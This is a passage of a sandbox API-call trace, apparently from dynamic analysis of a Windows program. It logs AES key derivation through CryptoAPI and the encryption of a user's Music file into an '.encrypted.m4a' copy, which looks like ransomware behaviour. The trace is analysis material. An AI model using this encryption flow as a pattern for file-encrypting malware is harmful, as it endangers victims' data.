wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.002] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.002] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0027.002] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.002] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.003] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.003] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.003] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.003] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.004] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.004] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.004] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.004] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.004] CryptHashData (hHash=0xe8f40625d0, pbData=0xe8f418b720, dwDataLen=0x20, dwFlags=0x1) returned 1 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.004] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.005] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.005] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f40625d0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.005] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.005] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0027.005] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.005] CryptDestroyHash (hHash=0xe8f40625d0) returned 1 [0027.006] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\31AunBdCov.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\31aunbdcov.m4a"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0027.007] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0027.007] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.007] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.008] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q")) returned 0x10 [0027.008] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\YGQpK-yMJwgaKf7q\\31AunBdCov.encrypted.m4a" (normalized: "c:\\users\\5jghkoaofdp\\music\\ygqpk-ymjwgakf7q\\31aunbdcov.encrypted.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0027.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.008] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.010] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0027.010] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x80ea, lpOverlapped=0x0) returned 1 [0027.010] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0027.012] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.012] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.012] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0027.012] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0027.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.013] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.013] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0027.013] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.013] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0027.013] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.013] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.013] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0027.014] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.014] CryptGetKeyParam (in: hKey=0xe8f4062330, dwParam=0x7, pbData=0xe8f4064c60, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064c60*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.014] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.014] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.014] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.015] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.015] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.015] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x80ea, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x80f0) returned 1 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.015] CharLowerBuffW (in: lpsz="byte[33009]", cchLength=0xb | out: lpsz="byte[33009]") returned 0xb [0027.015] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0027.016] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0027.016] CryptEncrypt (in: hKey=0xe8f4062330, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f438a230*, pdwDataLen=0xe8f3dfdf68*=0x80ea, dwBufLen=0x80f0 | out: pbData=0xe8f438a230*, pdwDataLen=0xe8f3dfdf68*=0x80f0) returned 1 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0027.016] 